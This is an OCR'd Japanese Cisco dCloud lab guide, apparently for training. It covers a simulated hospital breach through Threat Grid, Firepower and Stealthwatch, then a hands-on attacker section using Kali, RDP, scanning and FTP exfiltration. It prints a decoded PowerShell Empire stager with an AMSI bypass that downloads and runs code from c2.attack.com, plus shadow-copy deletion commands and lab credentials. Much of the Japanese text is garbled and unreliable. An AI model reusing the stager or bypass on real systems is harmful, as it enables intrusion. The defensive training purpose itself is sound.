Parent file MD5: g2tased05db16acssdgreabresstazfa.
19. Shid powershell.exe HBBIEL TS, PHP 4 —/ A R—2D 7T )7 =23 TL&ID BEALSNTITR—F 443 TRITSN T
WBDOTLEID (http:/) . 2D powershell.exe DIEHICT—EEAHADIFLEETLEIN, RODIENDLMYET,
URL A #&YREN B,
# 10 AR TEELTLS,
URL A 8EHLLY (c2.attack.com [FBRFEICREHEIN S KSITHE-TLVET),

IP 7KL AA 198.18.133.6 TH 3.

20. Threat Grid DHICRYEY,

7 :Threat Grid [C7 VR HLETEFE R A, COBDTREDRD/A—THALET . CORBRIETHN\C XA FIEEHYE
A,

21. Threat Grid # v 2/R—R Tl 77C8.exe R TEET,

Recent Samples

[E svchost.doc...exe E3  spoolsvcexe [ 95 | launcher.bat [ 100 | 77C8.exe KX} PatientMe...doc
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22. COETEAEI7ZAILOERBAITE 100 TI,

Metadata
Sample ID  2ae186c0b8adcci7b21e1804011e3816 B

Submitted By mhernandez

Threat Score 0s Windows 7 64-bit
Started 1/10/18 12:54 am
Ended 1/10/18 1:02 am
Duration 0:07:42
Sandbox mtv-work-038 (pilot-d)

Playbook None

23. BAENE T (EOKHERETEHIET, 77C8.EXE NIV L7 DEETHLEHIMTEET,

Behavioral Indicators

Searct
oearcr

Title > Hits Score ~
4+ Ransomware Backup Deletion Detected - 2
4 TeslaCrypt 4.1 Ransomware Detected - g 1
4 Generic Ransomware Notes Detected 1
4+ Large Amount of High Entropy Artifacts Written 1
4+ Shadow Copy Deletion Detected 2
4 Artifact Flagged Malicious by Antivirus Service 4
4+ Command Exe File Execution And JavaScript With Random Variables Detected 6

24. 77C8.EXE M TeslaCrypt THBHZ&THhMYFET A, EBED TeslaCrypt L AT AITERBIZE->THIBRESN == . BHKED T
WMIDWTIDERT B E(XHYEE A (hitp://blog.talosintelligence.com/2016/06/teslacrypt-decryptor.html) , 1= Cisco Talos

—

M. T—2ERYRT=HD TeslaCrypt EFY—ILE)—XLTULVET (https://www.talosintelligence.com/teslacrypt_tool) ,

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information. 103/195 R—2


http://blog.talosintelligence.com/2016/06/teslacrypt-decryptor.html)
https://www.talosintelligence.com/teslacrypt_tool)

Cisco dCloud

25. Threat Grid DD 1 i, BT ILDTFRMEIZBONE, KEDEFBAVTIDIVRABEIVYN—R TV F7YUJERTT,

ENIZEYZBLDEF 2 TAERF—LIE IN—R TV OZTY U T IS B+ R HERAELTH, T7MIVEVN—RX TVOZT)
VI TEFET . BARWED v ITHIETH, YLV T7DIHEHAZIELEMET D L TEOFERAVDICEENMDDONYET,

Title Hits Score v
= Ransomware Backup Deletion Detected 2
Ransomware is a class of malware that encrypts common media file types that are likely Categories malware
irreplaceable to the owner in question. Once files are encrypted the malware will provide Tags ransomware, malware, compound

instructions on how to provide the attackers a ransom, typically in the form of digital
currency, in order to decrypt these files. It is also common for variants to delete shadow
copies which are the default Windows backup mechanism for automatic backup generation.
This is in order to prevent recovery of the original files from these backups. They also
commonly make use of hidden services on the 'dark net' through onion networks like Tor
which provides anonymity to their command and control infrastructure. This prevents their
servers from being taken down by law enforcement or hosting entities once reported.

Process ID Process Name — Command Line
_ g Destination IP

Process 16 vssadmin.exe “ "C:\Windows\System32\vssadmin.exe" Delete Shadows /All /Quiet

Process 34 vssadmin.exe "C:\Windows\System32\vssadmin.exe" Delete Shadows /All /Quiet

26. IP PRLRERAMVZDIRFBAIEETT , 2T TeslaCrypt ZREBL. URL #9UvHIL T, ZOIT7AILICEET DD Y TILAO
FATLIZHTBERYNEITVNET,

= TeslaCrypt 4.1 Ransomware Detected 1

TeslaCrypt (and its variant, AlphaCrypt) is a ransomware trojan that encrypts files on the Categories malware

victim system. It extends the range of files ordinarily targeted by ransomware to cover game- Tags trojan, fraud, ransomware
related files, such as those used by online gaming services. Files are encrypted with AES

and this version is unique in that it does not append an extension to encrypted files.

TeslaCrypt also actively looks for shadow copies and restore points and destroys them.

Once TeslaCrypt is done encrypting files, it displays a ransom note on the desktop, giving

instructions on how to download TOR to pay the ransom for the decryption key. TeslaCrypt

is part of the CryptoWall ransomware family.

Process Name Process ID URL

IEXPLORE.EXE Process 37 http://primasentrausaha.com:80/phsys.php (Z'

27. RIZ Launcher.Bat IZF8Y ., CD/\yF T7AIILHMAZET B0, £f- AMP TBHETHEITRIREI7MIILEHER TELZLDITEE M E
LS. REOBRICEAFET,
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28. ZODIF7AINDEFHAOTIL 100 TlE4< 95 TT A, BE AMP HEAR)H—EN B E55IKIRTT,

Metadata
Sample ID  f34a60e80c980f781e700b590905d601 €&
Submitted By mhernandez
Threat Score 0s Windows 7 64-bit
Started 1/10/18 12:55 am
Ended 1/10/18 1:01 am
Duration 0:06:37

Sandbox mtv-work-080 (pilot-d)
Playbook None

29. BRARBMERDE, T, T—2EF 00T 5, #FibEh - PowerShell XU THAZEN LAY ET , F-EITHH)
ﬁ‘_bia—o

Behavioral Indicators

Search

Title Hits Score ~
4+ PowerShell With Encoded Command Downloads Data 1
4+ PowerShell With Encoded Command and Obfuscation 1
4+ Process Deleted the Submitted File 1 “
4+ Command Exe File Deletion Detected 1 -
4 ABatch Script Launches PowerShell 1 64
4+ A Script Launched PowerShell 1 64
30. ZA—ILFERFATAILET HANEDISITHENEHERTEET,
= PowerShell With Encoded Command Downloads Data 1 “
PowerShell was launched with an encoded command that attempts to download data from the internet. A Categories ~ evasion
download command wrapped by an encoded command-line is highly suspicious. Malware authors may do this to Tags process, system, encoding, script, download

avoid leaving download commands in clear-text, where they can be easily parsed.
Process ID  Process Name Decoded Command Line

Process 9 powershell.exe IF($PSVErSIoNTaBLE.PSVeRsloN.MajOR -GE 3){$GPS=
[REf].AsSeMBLy.GEtTYpE('System.Management.Automation.Utils'). “GeTFle'LD"
(‘cachedGroupPolicySettings','N'+'onPublic,Static'). GETVaLUe($nulL);IF($GPS['ScriptB'
+'lockLogging I{$GPS['ScriptB'+'lockLogging']
['EnableScriptB'+'lockLogging']=0;$GPS[' ScriptB'+'lockLogging']
['EnableScriptBlockinvocationLogging']=0}ELSE{[ScriptBLock]."GeTFie'Ld"
('signatures','N'+'onPublic,Static'). SETVALue($nUIl,(New-ObJeCt
COLleCtlons.GeNErIC.HashSEt[stRING]))}
[REF].AssEMbIY.GetTYPE('System.Management.Automation.AmsiUtils')|2{$_}|%
{$_.GETFieLD(‘amsilnitFailed','NonPublic,Static’).SEtVaLUe($nUll,$true)}:};
[SYSTEm.NEt.SeRvICePolNtMANager]::EXPECT100CoNTinuE=0;$WC=NEW-ObjEcT
SYStEM.NEt.WEbCIENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko';$WC.HeaDerS.Add('User-Agent',$u);$wC.PROXY=
[SYSteM.NET.WEbReqUesT]::DEfAuLtWebPrOxY;$Wc.PROXY.CredeNtIALS =
[SYStEm.NEt.CrEDentlalCAche]::DEFAUtNETWorKCredenTiALs;$Script:Proxy =
$we.Proxy;$K=
[SYSteM.TexT.ENCOdING]::ASCII.GeTBYtes('Fh+}xA;y/9macEJARW]. _L<2M)38%b*C');
$R=($D,$K=$ARGs;$S=0..255;0..255|%($J=
(8J+$S[S_]+$K[$_%$K.CounT])%256;$S[$_], $S[$J]=$S[$J],$S[$_1}:$D| % {$I=
($1+1)%256,$H=(SH+$S[$1]) %256;$S[$1], $S[SH]=$S[$H], $S[$1];$_-
bXor$S[($S[$11+$S[$H]) %256]}}); $ser="http://c2.attack.com:443';$t='/admin/get.php';$w
c.HeaDERS.ADd("Cookie", "session=2jsxYc3VOedhm1MxyoZKLoeKil0=");$dATA=$WC.
DoWNIoadDATA($Ser+$t);$iv=8dATa[0..3);$dATA=$Data[4..$DATA.IEnGTh];-JoIn[CHar[]]
(& $R $DAA ($IV+$K))[IEX

© 2018 Cisco and/or its affiliates. All rights reserved. This document is Cisco Public Information. 105/195 R—2



Cisco dCloud
|

31. ChIFERMICABAZROZNESIITERSN TS0, RATERITIBEIHYFERA, =L, ERltSh T Esiay
M 12HY. FIIZIE PowerShell 3—JL/3v5 M URL BNEENTWET, THIZKY ., VY=L TRERALE-EEOHLEEM. 2
DIF7AINZ—BLTWBIENDLMYET,

Decoded Command Line

IF($PSVErSIoNTaBLE.PSVeRsloN.MajOR -GE 3){$GPS=
[REf].AsSeMBLy.GEtTYpE('System.Management.Automation.Utils')."GeTFle’LD"
(‘cachedGroupPolicySettings','N'+'onPublic,Static'). GETValLUe($nulL);|IF($GPS[' ScriptB'
+'lockLogging {$GPS['ScriptB'+'lockLogging']
['EnableScriptB'+'lockLogging']=0;$GPS[' ScriptB'+'lockLogging']
['EnableScriptBlockinvocationLogging']1=0}ELSE{[ScriptBLock]."GeTFie'Ld"
(‘signatures','N'+'onPublic,Static'). SETVALue($nUIl,(New-ObJeCt
COLleCtlons.GeNErlC.HashSEt[stRiNG]))}
[REF].AssEMbIY.GetTYPE('System.Management.Automation.AmsiUtils')|2{$_}|%
{$_.GETFieLD(‘amsilnitFailed','NonPublic,Static'). SEtValLUe($nUll,$true)};};
[SYSTEm.NEt.SeRvICePoINtMANager]::EXPECT100CoNTinuE=0;$WC=NEW-ObjEcT
SYStEM.NEt.WEbCIENT;$u="'Mozilla/5.0 (Windows NT 6.1; WOWG64; Trident/7.0;
rv:11.0) like Gecko';$WC.HeaDerS.Add('User-Agent',$u);$wC.PROXY=
[SYSteM.NET.WEbReqUesT]::DEfAuLtWebPrOxY;$Wc.PROXY.CredeNtIALS =
[SYStEm.NEt.CrEDentlalCAche]::DEFAUNETWorKCredenTiALs;$Script:Proxy =
$we.Proxy;$K=
[SYSteM.TexT.ENCOdING]::ASCII.GeTBYtes('Fh+}xA;y/9maocEJARW;]._L<2M)38%b*C");
$R={$D,$K=$ARGs;$S=0..255;0..255|%{$J=
($J+$S[$_1+K[$_%$K.CounT])%256;$S[$_],$S[$J]= $S[$J],¢‘3[¢_]} $D|%{3$I=
($1+1)%256;$H=($H+$S[$1]) %256;$S[$1], $S[SH]=$S[SLTSS[$I];$_-
bXor$S[($S[$1]+$S[$H]) %256]}}; $ser="http://c2.attack.com:443';$t='/admin/get.prp';$w
c.HeaDERS.ADd("Cookie","session=2jsxYc3VOedhm1MxyoZKLoeKil0=");$dATA=$WC.
DoWNIoadDATA($Ser+$t); $iv=$dATa[0..3];$dATA=$Data[4..$ DATA.I[EnGTh];-JoIn[CHar(]]
(& $R $DALA ($IV+$K))[IEX

32. RRIC,AIHBRELTLEIO DA /RONZIEFRNHYET , Cisco Firepower Management 1 2—Jx A/ RIZRYET,

¥ : Cisco Firepower TN\ RXAY ARIERTTHIRED LI AVISEHFET,

33. Jumphost M5 Web 755 %BiE. Firepower Management Center (fmc.hackmds.com) IZBILE T,

34. [4#7 (Analysis)] -> [1& % (Search)] IZBEILET .

[ IETNTEITTRELENVSEN Policies Devices Objects = AMP Intelligence ‘

Context Explorer Connections v Intrusions v Files v Hosts v Users v Vulnerabilities v Correlation v Custom v Lookup v Search

[4#7 (Analysis)] &9y, [#RF (Search)] #UvILTREEIAVERKIELTEET,
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35. RAYFH I A=a—hi [#E#i4 Rk (Connection Events)] ##IRLET . RIZ [RykT—F2%5 (Networking)] 25" woL
EX 8

Connection Events | < |

Sections

General Information
Networking
Geolocation

Device

SSL

Application

URL

Netflow

QoS

36. [LARUH IP*(Responder IP*)] [Z IP £LTI198.18.133.5, 198.18.133.6 JE A AALET , [/ =T —4 IP*(Initiator IP*)] I
1198.19.30.1021EAALET , ChlF. ChETORABICEDVTEENLEL 2 DD IP PRLATY . &5(2, FAkajLELT
ITCPI1EA AL, [5ESR— (Destination Ports)] (2780, 4431& A ALFET .

Networking

Initiator IP* 1198.19.30.102, !198.19.20.1 | 192+#8.1.0/24, 1192.168.1.3, 2001:db8:85...
Responder IP* 108.18.133.5, 198.18.133.6 + 192.168.1.0/24, 1192.168.1.3, 2001:db8:85...
Original Client IP* 4 192.168.1.0/24, 1192.168.1.3, 2001:db8:85...
Initiator / Responder IP + 192.168.1.0/24, 1192.168.1.3, 2001:db8:85...
Initiator / Original Client IP 4 192.168.1.0/24, 1192.168.1.3, 2001:db8:85...
Initiator / Responder / Original Client IP + 192.168.1.0/24, 1192.168.1.3, 2001:db8:85...
Ingress Security Zone + My Security Zone

Egress Security Zone My Security Zone

Ingress / Egress Security Zone My Security Zone

Source Port / ICMP Type + 1-1024, 6000-6011, 80

Destination Port / ICMP Code* 80, 443 “ ! 4 1-1024, 6000-6011, 80

Protocol* tcp _ tcp, udp

37. [#% (Search)] &4JvoLEY,

(unnamed search) private | Save || saveAsNew | [  search |
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38. ZHDEEMRRINET , LEDOBIZHLI—BELRZLEVVILT, BEERETILENHYET,
Connection Events tswitch workfiow)
O Info x

This user has 2 failed login attempts since the last
successful login.

Connections with Application Details > Table View of Connection Events L

(Last 1 hour) Sliding

v Search Constraints (Edit Search Save Search)

Responder 1P 198.18.133.5,  198.18.133.6
Initiator IP 1198,19.30.102
Jump to... ¥

39. BRI BHALIL—LEHERTEHRYTT7YT D40 RINKRRENET, [1 B (1 Day)] 2:8RLT [EHA (Apply)] 2w oL
9,

Events Time Window Preferences |

Sliding Time Window

Show the Last |1 day(s) «~ '

Presets

Last 1 hour 6hours 1day 1week 2 weeks 1 month

Synchronize with  Audit Log Time Window Health Monitoring Time Window

[ Apply ][ Reset ] ]

Any changes made will take effect on the next page load.

40. COBRT, EORRMREREL, RYRT—IDONEBTINGD IP FRLRAEBELTWSHAHHYET,

Connection Events (switch workfiow)
Connections with Application Details > Table View of Connection Events

1l 2018-01-

(Last 2 weeks) Sliding

» Search Constraints (Edit Search Save Search)

Jump

3 2018-01-15 17:19:37 Allow gl 198.19.10.101 g 198.18.133.6 deloud-12-vlan1  dcloud-vlan-primary 58770 / tcp 443 (https) / tep
3 2018-01-15 17:19:32 Allow gl 198.19.10.101 gl 198.18.133.6 dcloud-I2-vlan1  dcloud-vlan-primary 58769 / tcp 443 (https) / tcp
3 2018-01-15 17:19:27 2018-01-15 17:19:27 Allow - 198.19.10.101 ‘ 198.18.133.6 dcloud-12-vlanl  dcloud-vlan-primary 58768 / tcp 443 (https) / tcp
3 2018-01-15 17:19:27 Allow - 198.19.10.101 - 198.18.133.6 dcloud-12-vlanl  dcloud-vlan-primary 58768 / tcp 443 (https) / tcp
3 2018-01-15 17:19:22  2018-01-1517:19:22  Allow gl 198.19.10.101 gl 198.18.133.6 dcloud-I2-vlan  dcloud-vlan-primary 58767 / tcp 443 (https) / tcp
3 2018-01-15 17:19:22 Allow g 198.19.10.101 gl 198.18.133.6 dcloud-I2-vlan1  dcloud-vlan-primary 58767 / tcp 443 (https) / tcp
3 2018-01-15 17:19:17  2018-01-1517:19:17  Allow gl 198.19.10.101 i@l 198.18.133.6 dcloud-I2-vian1  dcloud-vlan-primary 58766 / tcp 443 (https) / tcp
3 2018-01-15 17:19:17 Allow gl 198.19.10.101 gl 198.18.133.6 dcloud-I2-vlan1  dcloud-vlan-primary 58766 / tcp 443 (https) / tcp
i3 2018-01-1517:19:12 2018-01-1517:19:12 Allow Intrusion Monitor gl 198.19.10.101 gl 198.18.133.6 dcloud-I2-vianl  dcloud-vlan-primary 58765 / tcp 443 (https) / tep
3 -01-15 17:19: Allow gl 198.19.10.101 gl 198.18.133.6 dcloud-12-vianl  dcloud-vlan-primary. 58765 / tcp 443 (https) / tep
3 2018:01-1517:19:07 2018-01-1517:19:07 Allow gl 198.19.10.101 o 198.18.133.6 dcloudiz-vianl  ddoud-vin-pimary S8764/wp  443(htee)/i
3 2018-01-1517:19:07 Allow gl 198.19.10.101 gl 198.18.133.6 dcloud-12-vlanl  dcloud-vlan-primary 58764 / tcp 443 (https) / tcp
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41. [RAvFI—4 78— (switch workflow)] #9)wod 5L, COT—RERTTIHEEEETEET,

Connection Events (switch workflowy

Connections with Application Details > Table View of Connection Events

42, [4=2 BT EDLRKRUA (Unique Responders by Initiator)] 7—4970—([2&>T, REBELT—EANBLNET,

Connection Events
Connection Events i
Connections by Application
Connections by Initiator

Connections by Port

Connections by Responder |
Connections over Time 1
Traffic by Application

Traffic by Initiator

Traffic by Port

Traffic by Responder )

Traffic over Time

Unique Initiators by Responder

Unique Responders by Initiator /

43. JE—bk Web YA bADEHICEILIZARRXNE 1 DT, FREDKRYIREDJvHLT [FUILF I (Drill Down)] Z#IRL

EXR

Unique Hosts by Initiator IP |
(2018-01-14 21:50:00 - 2018-01-1
where Initiator IP is ! 198.19.20.1 or Initiator IP is ! 198.19,

Unique Hosts

Drill-down

View by Application Protocol

View by Date

View by Day of Week

View by Device Tnitiator IP

VView hv Haiir nf Dav

44. CORFICIOTRELEFLYTA ANVINRTSNFT . [RAE=S(Intrusion Monitor) ] ERFSN TN DA AU DE#E
RLET . EICHASTRETKANEY JVILET,

‘k 2018-01-1517:19:12 2018-01-15 17:19:12  Allow Intrusion Monitor la 198.19.10.101 q doogie howser (AD1\dhowser, LDAP) d 198.18.133.6
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45, ERIZRYO—)LEBE, HENEESLEMEBEDBEREREETEET . £zLTH Doogie TT,

Intrusion Monitor (gl 198.19.10.101 E doogie howser (AD1\dhowser, LDAP) [gll 198.18.133.6

46. 7 r—ay F—AERBIELTEET,

[ HTTP 7] Internet Explorer rv:11.0 Web Browsing Medium Medium http://c2.attack.com:443/login/process.php Uncategorized

47. URL NP FESNTWEWIENRIZHEYET, T Internet Explorer vil THAZELRINTEY, Powershell THBHZENHHLY
T REIC. BAARURERTO—ILE PAAVRRTINTVET,

@

48. O—ILRES)YILTARU D EMEEELET,

Intrusion Events

The number of events shown here may be less than the number of events triggered by the connection if events
have been pruned or an intrusion policy rule threshold was met.

ci high & MALWARE-CNC PowerShell Empire variant outbound connection (1:44564:2)

' | View Intrusion Events

Close
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49. PowerShell Empire CNC BREDEHTHIEBRONET . CORFRT, ROBHRNEZRSINEL,
AUV TUMDFRERITR—K 80 &V 443 T c2.attack.com EEIELT= IP PRLR(E 198.19.10.101 2128 b b,
Ff  FFAVNTROETARET 7N AV TSN EEZ NS,
o PowerShell Empire Callback
o 77C8.EXE(TeslaCrypt >4 LD xT7)
o Spoolsvc.exe Z71IL(F<CIZHIBTEN D)
ELITEAROBBAFKELTVSRAIEEELH LN, BERTIHEMDOREEFE VB LRV EER LIS,

SHRRBENT, BAROBBDEEIHERTESITLEIN ROVFIF TR EARAOBBDRHEICOVTEELTHELLES T
BEGIRERTLET,
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DFIA 5 AEOEBR: NS TREL. T2ZRELTIIRR—IT S

BERtExa) T3 100 % TIEEWN =D, BEOHIIVTATAHRRVEI—IZBRETHAEEAHYET  BEICHE— MG TY
FE AT IO T =N THREREEILTEILTT . BEEDOHDV IV TELIFVE—MERICE > TR TI—VRIZBALT
WEEE. ASRBREFIEELEISELFET, ChiT—RMIZ. BEORAX YU ICE o TIThNET, A2 —7IrEHET L. KBEL

tDLRTFLANDT I ERERAET . CHIFERYREIFENET , —BIICE. 2—T VLDV RTLEHEL., BIEDHHIEDEE
BITHIENBEMIZAYVET, COTOERITHEEXIL F—2 L ENTT,

ZDIF YA TIE., Mr. Green A%, HackMDs.com MDA #1285 Workstation on Wheels (WoW) D BEENSEAEOQT A2 LT
L4 )L% Mr. Black [Z5EYELT=, £4I1Z&L>T Mr. Black (&, HackMDs Rk —(HERZEFDA—HELTEMTEDLSITHYE
T IhIF WBENRECRYNTI—IRITHEZHERT S, ZHOAEED 1 DTY,

Mr. Black IB 5 D F%ELI=ELD T, Mr. Brown(H71=) #E->T. BRWLEIL T v ILEH AL T HackMDs (277t AL . #5
BRTHIBBRLFEELIELET  Mr. Brown D EBIE. WoW P RTAIZZIEALTHLMO L AT LIZBENIT S, EFRYRMIED
T BT AN EFENT VAT LIS DTV RELIMBT A EER/ET HILITHYET . Mr. Brown BEET—RITTF VLR TE
N, REHWEBEZIERIET—IDDUE—F IFIFDRN— H—NIZT—H4FTHRR—rF B EIZHYET, ST Mr. Brown
(&, 950K H—\OF X% Mr. Black IZ5 2. BATZT—43% Mr. Black B35 —%2 Web THRFETESKLSIZLFET,

R

COVHIAERTTHE RV T—UEREL-ZOREFDOITHCONT, EANGEBE/IENTEET, HigfzlERrvbT—2
IS7 AL THEEIEZEL , HackMDs.com ORERVET—IDHFFEFUET . BEOREE L, FYXTILREOFVTTA—FIC
FOTEEETV . RESNAILZRET S, LW LISTETILENHYET . COTRTIEBEEAROIN TS, Z5LE-EH
(FERANSNHTVET,

FYRT—=DIZDWVTIEST=b, HIPAA T—ANREENREI R T LIZERL, BLOYAN—REDEMNTHSIT—ARBEETLE

T.CDBEL BROBEFFIRTILAEDBWNAZEZLY . T—2RBERZISILLETH. COFRTIEZOTOLRNL T ILES

NTWFET, 13 1 DEELGILF. MBOERERE T 52X T4 RNBEASNTOVETAIE, KEEOITILAEOREEICED
59, Mr. Brown Z#&H 52 ELBAHTHELRET HENITETT,

BAET—8DIHRAR—NTET LI=D, FHMAIZYIVE Z . Mr. Brown AEELT 2% B DERHELTHEILES . Fhiz&-oT,
Cisco Stealthwatch A% NetFlow ZfERALTHRBDBEZE D LSITHEHL. R T—IJNOEELGITHVCEEDOHHITHERET 50
22T, RN EBEABLNET, £1=. Stealthwatch concern index(Cl) D fE& Stealthwatch ISE #&I1ZE DUV T, MEEAFLY
& Stealthwatch H3#I#rL1-& B % . Cisco Identity Services Engine (ISE) A @B T 25X IZ DD THLEAN B BBENEONET . 2DV
FIATIE. ABOBBIIBRELEE A TNITDODVTIEIRD I FIATITVET, > FU4 6 THY LIFI=. Cisco Firepower & ISE i
TEASNI-IEERAELRCHEEZ . Cisco Stealthwatch & ISE BITHLRETEET . RO BEEBET 2HEDFHMI DL TIE, &
FUA 6 #SBBLTIZELY,
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IR )Y)—R
WEHAY—X 1:HackMDs #yk7—2 D4 E D Kali Linux H—/\

WEHEAYY—X 2: BAFEOTAY LT ovILEERLT-. HackMDs ®vkT—4AR M Workstation on Wheels (WoW) AD 7ot X

#E:WoW I Angry IP Scanner BERICAVRAP—ILENTVET , CNIFHEED BELIZDRATLITEY AL AREEA H LY —
ILEYED 1 DT,

A—45yMAl)Y—X 1:Workstation on Wheels (WoW)

A—5yMAIYY—X 2:Windows 7 %1795 Dr. PC

BB RTAICIK FileZilla BABRTIZAVAR—ILENTVET , CNIFHREEN BELLVATAIZREYAD AEESELH LT 2R
BY—IL¥Yb®D 1 DT,

5448 )—X 1:Cisco Stealthwatch Management Console

RE#E41) Y—X 2:Cisco Identity Services Engine

Bt Y—2R 3:NetFlow £ &U 802.1x BNEFIHE>TLNSRYET—4 T/INAR
70—(2&BREBOBEE DR

NetFlow Ffz[dRybT—9 JA—IE X JL—FTEASNEETT . EBEDN, 1V F3—Tz/REHAYTS IP RybT—9 5
D49 ERETEE T, NetFlow THONT—RER T EHIET. EEE L FST1VIDEETOREE. Y—EXD IR BEDR
R E#HIETEET, NetFlow DFIEIX, IL—F RAYF. TAVYLR TIER RAVRARBARYRT =9 (F—E2E23—RD IE)5E
D— R R YT —OBRICEATESILETY,

J0—%FHATHODRAFENERL. NetFlow ZEFa)T4 A MIFATELETIZEYELS, Cisco Stealthwatch HED T /0
D—IZEO T BEORYNT =Y MA—ICE DSV TEENLGBBERETEDLSIAYET ., ChiF, DT =F YL TEEL XY
TAMEBRL, 2Lz NetFlow T—2MEXHITONTHGHZ B S REBLERTHLEEHRLET . NetFlow ZtFa)T45ERA
FTBHILT. TRTORYNT—I RAUIDEF2YT o Y —ELTHEEL. NetFlow DEEHLOVN U RERHLET,

WFLETRTORYET—I#33 T NetFlow DY R—bESNh TS hITTIEHYEHE A, Cisco Stealthwatch o H—%FRTHE
T.raw T—4% NetFlow [CEH#L. COKSHRARIZERTEIENTEET,

F T RTOITIO—FATHARZEELENSIHIFTTEHYFER A, 1=EZIE sFlow(H>F )L 70—) TlE. NetFlow /3—23> 9 TR T, #
EREEFBOEMBERIKIBICADEAZYETS, Cisco Stealthwatch Tl [FEAEDFEHK D NetFlow & IPFIX [SRIELTLNET, VR
ald NetFlow Z#FEERLTRELELIZ, IZER—ZD NetFlow A% IETF(IPFIX) DEBEZITHETICHENM S THEY . F-EHK
D=3 PRRSN TEELT,
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COBRELF)ATIE, Mr. Brown(H%fz) B, BENT=IL T v ILEFERLT HackMDs #ybD—YRIZHD Wow I Ea1—42IC
TORALET  WoW 2V Ea—RITHHIAVAb—)LENTzRvbT—9 RE¥YFEFERALT. FYLT—IERRNOERETL. RERY
FI—02EKDTVTEERLES . BBERYNT—IRDT NI RER/EL. ERVMEDI—TINEEIRLET  BREN DY —/\(2
LD, HIPAA BBET—2Z LT, BRIV AL—ILEN TS FTP Y—ERFMALTT—2E2 TV RKR—FLET,

T EEOKEEX. AAABAIVTAELDORVVEBZENT TERYIEITN, T—2EIHVAR—ET, ZOVF YA TIERTILA
HEBBICLAWNEO. F5LERATYTZERBLTWET . REQRBETIIAESOBEHAR+2THL=H . BENTHENEELT
3. ZLDBERFSIZTEF A

Kali Linux R4 —/\IZl&. 22— 4% root. /8XRAJ—K:Clscol2345 T7UEALET,

WoW (Workstation on Wheels) > AT L TERTA=-HIZEFEFNF-2—F & (L dhowser T, /SR —FKI[E Clsco012345 TT,

Mr. Brown D3yiar%5E T Li=5, WA SOC Jumphost IZ7 XL THE#EMEIIZFEY £, Stealthwatch Management Console
(SMC)IZ79+EAL T, Mr. Brown DTEIDM R ED LR DERMEFELET . Mr. Brown DITEINERADRMTHLEHEHFEL.
EAREDEL Concern Index 75—LAIZE DT, ISE A% Stealthwatch MNoD 75— LE BT 555 HAELET . CITIEBEE
TWEEA TOWR(EFIA 6 TRY LIFET,

Cisco Stealthwatch Management Console (SMC) TERY 41 —+H 4 admin, /X T —FId Clsco12345 TY,

HackMDs IZ##59 5

Mr. Brown (&% 1=) [%. IRTE HackMDs RykT—I DA ERZINVET , Mr. Black B, BATERES AT LADOT A2 JLT oo v )L
RSN =D T, HackMDs DERtEF 1T AIFINA/INATEET, 0 F 1A 3 TITo={EERT. Wow OMER IP 7RL X (198.19.30.100)
EEELTULWET, Kali HEY— /DU AT ALIZTIEALTHELLS,

1. Kali Linux 39—/ 2EHLET .

2. KaliLinux TR T DO TEIZHDE—3IFIL T3I2L—2 74 %50)vHI LT #—3FIL viarx#RkLET,

» QM|
3. Tservice vsftpd start (& AFILT. HackMDs DR YbT—IMSRATZT—2%5(1TERS Kali Linux FTP Y—/\ZR8ELET,

H—NZRPLGWVE, RYRT—IREMN ST —2E I AKR—E HFRIZ, Kali Linux YR T LD FTP EGEHI 5o eMNTE
FA,

:~# service vsftpd start

S Linux OOYURTIEFRXFENXFELRFSNET , AlaERIGE &, Tab F—%2FALTavUREEBAILET,
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4. RIZ.WoW aUE1—RITEBETHUE—F TRIMTITBELET . ChoDH—N\AF LS,V TRETHILFRNEEZ DA
HLNFERAD RDRY)—223vMRY Shodan Web 41 bDFIE. COBEDH—ERNAUA—RVMMIBEHLTWS IP 7
FLRADHZERLTNET , B4 T Shodan B HITHERL TH TS,

I VE—F FOERERFMREICL, JE—FTOERZRET HHIATHOATVNSZEEAHYET . ELIDFEFREMICR
(T8, BITHRETT,

TOP COUNTRIES

United States 666,987

China 363,654
Germany 91,073
Brazil 85408
United Kingdom 63,0032

5. Kali Linux #—3FJL +v33> T rdesktop 198.19.30.100:3389 v REETL. WoW Y AT LIZYE—k TRIMYTHERKL
7,

# rdesktop 198.19.30.100:3389

6. [ZDHhd 11— (Other User)] &:&4RL . B AT Dr. Howser ®D1—4 HL T4/l dhowser &/827—K Clsc012345 {5
LTad1oLEY,

K

root Other User

Cancel
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7. WoW avEa1—#IZ7HUERLELT=, DFY HackMDs RybT—IDAEIZA-T=ENSTETT,

RER—FDRAFr>

HackMDs R ybT—YIZBALTzD T, YL T—VRERERLT. T—E2DHI VAT LERELE T, *VbT—Y%RELFE ST Mr.
Brown ARERAMDY—ILELTAUAR—ILLT=. Angry IP Scanner Z{#E AL TERETLVET,

F EBEEERT OIS, CORFYFEHOMCOH AV RA—ILENTWET , EBEOREEL., RESNZVATLIZY—ILESVR
F—ILTBET, AHEDRFYUEITNET,

1. [Angry IP Scanner] 7A4av&&ITILI)vILET,

Angry

ok Telal1

Angry IP Scanner ® GUI B&RESNFET, [IP #FH (IP Range)] % 198.19.10.0 ~ 198.19.10.255 [ZZEEL . [Fik (Start)] 5 voL
iﬂ-o

FEHLLANA—30F 890 0—R9 3700 TR RTEIN T BELTHETL TSI,

€3 100% - IP Range - Angry IP Scanner

Scan Goto Commands Favorites Tools  Help

IP Range: 198.19.10.0 to 198.19.10.255 IP Range

Hostname: wow ‘IPT’ Metmask v ‘ 3¢ Stop! I

2. REXVPUDNETTEHE LKOMD IP PRLRERIET DHRAME D TRENET, [BILS (Close)] R22EHwoL., Angry IP
Scanner [Z&>THERHENT= IP PRLRAD)AMARAERIO—ILLET,

(} Scan Statistics

A Scanning completed
. Total time: 19.45 sec
)

Average time per host: 0.08 sec

-

IP Range
198.19.10.0 - 198,19.10.255

Hosts scanned: 254
Hosts alive: 14

Close
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£2 1P Range: 198.19,10,0 - 198.19.10.255 - Angry IP Scanner

Scan Goto Commands

IP Range: 198.19.10.0

Hostname: WOW

P Ping
@ 198.19.10.1 10 ms
@ 198.19.10.2 8 ms
@ 196.19.10,3 5 ms
@ 198.19.10.4 6 ms
@ 190.19.10.5 14 ms
@ 198.19.10.6 9 ms
@ 198.19.20.7 4ms
@ 19619108 16 ms
@ 190.19.109 [n/a]
@ 196.19.10.10 9 ms
@ 19019012 5 ms
@ 198.19.10.12 9ms
@ 195.19.10.13 (n/a]
@ 196.19.10,14 (n/a)
@ 198.19,10.15 9ms

Favorites
to 198.19.10.255

I lPl.J Netmask

Tools Help

Hostname
adlad.hackmds.com
